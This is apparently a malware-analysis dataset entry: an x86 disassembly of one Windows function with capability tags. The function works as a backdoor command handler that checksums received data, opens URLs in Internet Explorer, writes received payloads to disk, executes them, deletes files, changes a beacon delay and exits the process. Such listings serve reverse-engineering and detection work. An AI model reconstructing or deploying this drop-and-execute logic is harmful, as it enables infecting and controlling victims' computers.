Function at 0x10007349
Capabilities:
Create process on windows
Delete file
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x440
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0
je 0x10007364
cmp dword [ebp + 0xc], 3
jae 0x1000736b
xor eax, eax
jmp 0x100079a4
push 4
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea eax, [ecx + eax - 4]
push eax
lea eax, [ebp - 0xc]
push eax
call fcn.10006cab
add esp, 0xc
call fcn.10007a13
mov eax, dword [ebp + 0xc]
sub eax, 4
push eax
push dword [ebp + 8]
call fcn.100079b0
pop ecx
pop ecx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0xc]
je 0x100073ac
xor eax, eax
jmp 0x100079a4
cmp dword [ebp + 8], 0
je 0x10007993
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
and dword [ebp - 0x434], 0
jmp 0x100073e2
mov eax, dword [ebp - 0x434]
inc eax
mov dword [ebp - 0x434], eax
mov eax, dword [ebp - 0x434]
cmp eax, dword [ebp - 0x14]
jae 0x1000797a
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
mov dword [ebp - 0x43c], eax
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x43c]
mov dword [ebp - 0x440], eax
cmp dword [ebp - 0x440], 1
je 0x1000746c
cmp dword [ebp - 0x440], 2
je 0x100074ee
cmp dword [ebp - 0x440], 3
je 0x1000765c
cmp dword [ebp - 0x440], 4
je 0x100077b5
cmp dword [ebp - 0x440], 5
je 0x100078a4
cmp dword [ebp - 0x440], 6
je 0x100078d9
cmp dword [ebp - 0x440], 8
je 0x100078e6
jmp 0x10007975
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x20]
inc eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x1000749e
jmp 0x100079a2
push dword [ebp - 0x20]
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.10006cab
add esp, 0xc
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x20]
and byte [eax], 0
push 5
push 0
push 0
push dword [ebp - 8]
push str.iexplore
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push dword [ebp - 8]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x20]
mov dword [ebp - 4], eax
jmp 0x10007975
mov eax, dword [ebp - 4]
mov dword [ebp - 0x42c], eax
mov eax, dword [ebp - 4]
add eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x42c]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x42c]
mov eax, dword [eax]
inc eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x10007532
jmp 0x100079a0
mov eax, dword [ebp - 0x42c]
push dword [eax]
push dword [ebp - 4]
push dword [ebp - 0x10]
call fcn.10006cab
add esp, 0xc
mov eax, dword [ebp - 0x42c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x10]
and byte [ecx + eax], 0
mov eax, dword [ebp - 0x42c]
mov ecx, dword [ebp - 4]
add ecx, dword [eax]
mov dword [ebp - 4], ecx
push 0x1000ac98
lea eax, [ebp - 0x428]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push 1
lea eax, [ebp - 0x428]
push eax
call fcn.100070a1
pop ecx
pop ecx
mov dword [ebp - 0x430], eax
cmp dword [ebp - 0x430], 0xffffffff
je 0x1000763a
push 0
lea eax, [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x42c]
push dword [eax]
push dword [ebp - 0x10]
push dword [ebp - 0x430]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x430]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x42c]
mov ecx, dword [ebp - 0x28]
cmp ecx, dword [eax]
jne 0x10007620
push 5
push 0
push 0
lea eax, [ebp - 0x428]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [ebp - 0x438], eax
cmp dword [ebp - 0x438], 0x20
ja 0x1000760b
mov eax, dword [ebp - 0x438]
add eax, 0x4e20
push eax
call fcn.10007097
pop ecx
jmp 0x1000761e
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x10007638
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x4e20
call fcn.10007097
pop ecx
jmp 0x10007645
push 0x4e21
call fcn.10007097
pop ecx
push dword [ebp - 0x10]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x10007975
mov eax, dword [ebp - 4]
mov dword [ebp - 0x42c], eax
mov eax, dword [ebp - 4]
add eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x42c]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x42c]
mov eax, dword [eax]
inc eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x100076a0
jmp 0x1000799e
mov eax, dword [ebp - 0x42c]
push dword [eax]
push dword [ebp - 4]
push dword [ebp - 0x10]
call fcn.10006cab
add esp, 0xc
mov eax, dword [ebp - 0x42c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x10]
and byte [ecx + eax], 0
mov eax, dword [ebp - 0x42c]
mov ecx, dword [ebp - 4]
add ecx, dword [eax]
mov dword [ebp - 4], ecx
push 0x1000ac9c
lea eax, [ebp - 0x428]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push 1
lea eax, [ebp - 0x428]
push eax
call fcn.100070a1
pop ecx
pop ecx
mov dword [ebp - 0x430], eax
cmp dword [ebp - 0x430], 0xffffffff
je 0x10007793
push 0
lea eax, [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x42c]
push dword [eax]
push dword [ebp - 0x10]
push dword [ebp - 0x430]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x430]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x42c]
mov ecx, dword [ebp - 0x28]
cmp ecx, dword [eax]
jne 0x10007779
push 5
push 0
push 0
lea eax, [ebp - 0x428]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [ebp - 0x438], eax
cmp dword [ebp - 0x438], 0x20
ja 0x10007777
mov eax, dword [ebp - 0x438]
add eax, 0x4e20
push eax
call fcn.10007097
pop ecx
jmp 0x10007791
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x4e20
call fcn.10007097
pop ecx
jmp 0x1000779e
push 0x4e21
call fcn.10007097
pop ecx
push dword [ebp - 0x10]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x10007975
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 0x20], 0
jle 0x10007810
mov eax, dword [ebp - 0x20]
inc eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x100077ed
jmp 0x1000799c
push dword [ebp - 0x20]
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.10006cab
add esp, 0xc
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x20]
and byte [eax], 0
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x20]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x20]
inc eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x10007842
jmp 0x1000799a
push dword [ebp - 0x20]
push dword [ebp - 4]
push dword [ebp - 0x10]
call fcn.10006cab
add esp, 0xc
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x20]
and byte [eax], 0
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x20]
mov dword [ebp - 4], eax
push 1
push dword [ebp - 8]
push dword [ebp - 0x10]
call fcn.1000814b
add esp, 0xc
cmp dword [ebp - 0x20], 0
je 0x1000788d
push dword [ebp - 8]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [ebp - 0x10]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x10007975
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
imul eax, eax, 0x3c
mov dword [0x1000a6d8], eax
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
push dword [0x1000a6d8]
push str.New_delay_is__d_seconds
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
jmp 0x10007975
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [ebp - 4]
mov dword [ebp - 0x42c], eax
mov eax, dword [ebp - 4]
add eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x42c]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x42c]
mov eax, dword [eax]
inc eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x10007927
jmp 0x10007998
mov eax, dword [ebp - 0x42c]
push dword [eax]
push dword [ebp - 4]
push dword [ebp - 0x10]
call fcn.10006cab
add esp, 0xc
mov eax, dword [ebp - 0x42c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x10]
and byte [ecx + eax], 0
mov eax, dword [ebp - 0x42c]
mov ecx, dword [ebp - 4]
add ecx, dword [eax]
mov dword [ebp - 4], ecx
push dword [ebp - 0x10]
call fcn.10003156
pop ecx
push dword [ebp - 0x10]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x100073d5
mov dword [ebp - 0x18], 1
push dword [ebp + 8]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 1
pop eax
jmp 0x100079a4
jmp 0x10007993
jmp 0x10007993
jmp 0x10007993
jmp 0x10007993
jmp 0x10007993
jmp 0x10007993
leave
ret